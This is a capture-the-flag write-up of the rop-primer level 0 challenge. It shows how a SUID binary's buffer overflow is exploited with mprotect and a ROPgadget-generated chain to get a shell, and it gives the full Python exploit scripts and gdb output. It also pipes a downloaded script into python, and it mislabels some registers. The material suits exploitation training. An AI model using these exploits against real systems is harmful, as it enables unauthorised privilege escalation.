1 Motivation

To learn a little bit more about ROP in practice, I tried the following challange rop-primer.

2 Level 0

2.1 Returning control

To begin with, we are in bash and we have one binary with SUID bit

level0@rop:~$ ls -l
total 588
-rw-r----- 1 level1 level1     25 Jan 20 22:59 flag
-rwsr-xr-x 1 level1 level1 595992 Jan 20 22:58 level0

Buffer overflow is possible with the mentioned binary

level0@rop:~$ python -c "print ''.join([str(i)*10 for i in range(0,10)])" > in.txt
gdb r < in.txt
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xbffff6ac --> 0x80ca720 --> 0xfbad2a84 
EDX: 0x80cb690 --> 0x0 
ESI: 0x80488e0 (<__libc_csu_fini>:	push   ebp)
EDI: 0x8ad68462 
EBP: 0x34343434 ('4444')
ESP: 0xbffff700 ("4455555555556666666666777777777788888888889999999999")
EIP: 0x34343434 ('4444')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
Invalid $PC address: 0x34343434
Stopped reason: SIGSEGV
0x34343434 in ?? ()

Registers are 32 bit, which means each can hold up to 4 bytes. The register ESP for the base pointer got 4 bytes of value '4' and ESP stack pointer got remaining 2 bytes of value '4', so in total 6 bytes.

This means that ESP instruction pointer got remining 4 bytes, since we had 10 times '4' in the pattern. The offset to overwrite return call on the stack must be 44 bytes then.

We can verify this

#!/usr/bin/python
from struct import *

buf = ""
buf += pack("<B", 0x90)*44    # Offset with NOP instructions (B = 1 byte)
buf += pack("<L", 0x12345678) # Something to hit EIP with    (L = 4 bytes)

f = open("in.txt", "w")
f.write(buf)
f.close()

Testing within gdb again

Stopped reason: SIGSEGV
0x12345678 in ?? ()

So, we have successfuly overwriten return call.

2.2 Dropping the code

Next,

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

NX bit is enabled so we can't just simply put a shellcode on the stack, as it is not-executable.

I checked, what external symbols are available

level0@rop:~$ nm -g level0 | grep system
level0@rop:~$ nm -g level0 | grep mprotect
080523e0 W mprotect
080523e0 T __mprotect

Although, system call wasn't among them, I found mprotect which can be used to turn off NX bit and open which could be used to read flag file.

By looking up man mprotect, three arguments are required. I used again peda to check the boundary of the stack

gdb-peda$ start
gdb-peda$ vmmap stack
Start      End        Perm	Name
0xbffdf000 0xc0000000 rw-p	[stack]

The first argument is the start of the stack, and length I calculated as

0xc0000000−0xbffdf000 = 21000

The last argument I determined by checking defines

level0@rop:~$ fgrep -H mprotect -R /usr/include/asm-generic/
/usr/include/asm-generic/mman-common.h:#define PROT_GROWSDOWN	0x01000000
level0@rop:~$ grep PROT_ /usr/include/asm-generic/mman-common.h
#define PROT_READ	0x1		/* page can be read */
#define PROT_WRITE	0x2		/* page can be written */
#define PROT_EXEC	0x4		/* page can be executed */

So for the PROT_READ & PROT_WRITE & PROT_EXEC I get

(0x1 + 0x2 + 0x4) = 0x7

Now the time to modify the exploit and verify protection of the stack

#!/usr/bin/python
from struct import *

buf = ""
buf += pack("<B", 0x90)*44    # Offset with NOP instructions (B = 1 byte)
buf += pack("<L", 0x80523e0)  # Address of mprotect
buf += pack("<L", 0x12345678) # After mprotect next instruction
buf += pack("<L", 0xbffdf000) # Start of the stack
buf += pack("<L", 0x21000)    # Size of the stack
buf += pack("<L", 0x7)        # Permissions

f = open("in.txt", "w")
f.write(buf)
f.close()

Verify

gdb-peda$ r < in.txt 
Stopped reason: SIGSEGV
0x12345678 in ?? ()
gdb-peda$ vmmap stack
Start      End        Perm	Name
0xbffdf000 0xc0000000 rwxp	[stack]

As expected program finished on incorrect address of next instruction 0x12345678 but now the stack has executable bit on. Hurray!!

Now obviously code crashes further than that, so we need some way to move ESP (stack pointer) towards higher address and then transfer execution at the address where ESP points at and where shellcode resides. For this purpose pop and ret chain if available in the binary can be used.

I searched the binary for available ROP gadegets

gdb-peda$ ropgadget 
ret = 0x8048106
addesp_4 = 0x804a278
popret = 0x8048550
pop2ret = 0x8048883
pop4ret = 0x8048881
pop3ret = 0x8048882

The maximum number of addresses we can move is 4 (pop4ret). However, this could be chained up to give desirable space for shellcode.

Making rop-chain can be tedious, forutnelty there are tools that can do that automatically

wget https://bootstrap.pypa.io/ez_setup.py -O - | python - --user
git clone https://github.com/JonathanSalwan/ROPgadget
cd ROPgadget
python setup.py install --prefix=~/.local/

To generate ropchain I used

.local/bin/ROPgadget --ropchain --binary level0

Now exploit can be updated with the ROP shellcode

#!/usr/bin/python
from struct import *

p = ""
p += pack("<B", 0x90)*44    # Offset with NOP instructions (B = 1 byte)
p += pack("<L", 0x80523e0)  # Address of mprotect
#p += pack("<L", 0x12345678) # After mprotect next instruction
p += pack('<I', 0x080525c6) # pop edx ; ret
p += pack('<I', 0x080ca660) # @ .data
p += pack('<I', 0x0806b893) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08079191) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080525c6) # pop edx ; ret
p += pack('<I', 0x080ca664) # @ .data + 4
p += pack('<I', 0x0806b893) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08079191) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080525c6) # pop edx ; ret
p += pack('<I', 0x080ca668) # @ .data + 8
p += pack('<I', 0x08097bff) # xor eax, eax ; ret
p += pack('<I', 0x08079191) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080525ee) # pop ebx ; ret
p += pack('<I', 0x080ca660) # @ .data
p += pack('<I', 0x080525ed) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ca668) # @ .data + 8
p += pack('<I', 0x080ca660) # padding without overwrite ebx
p += pack('<I', 0x080525c6) # pop edx ; ret
p += pack('<I', 0x080ca668) # @ .data + 8
p += pack('<I', 0x08097bff) # xor eax, eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x08081d92) # int 0x80

p += pack("<L", 0xbffdf000) # Start of the stack
p += pack("<L", 0x21000)    # Size of the stack
p += pack("<L", 0x7)        # Permissions


f = open("in.txt", "w")
f.write(p)
f.close()

Now time to test the final exploit

level0@rop:~$ (cat in.txt; cat) | ./level0 
whoami
level1

Ok, so we got to the next level of the challange !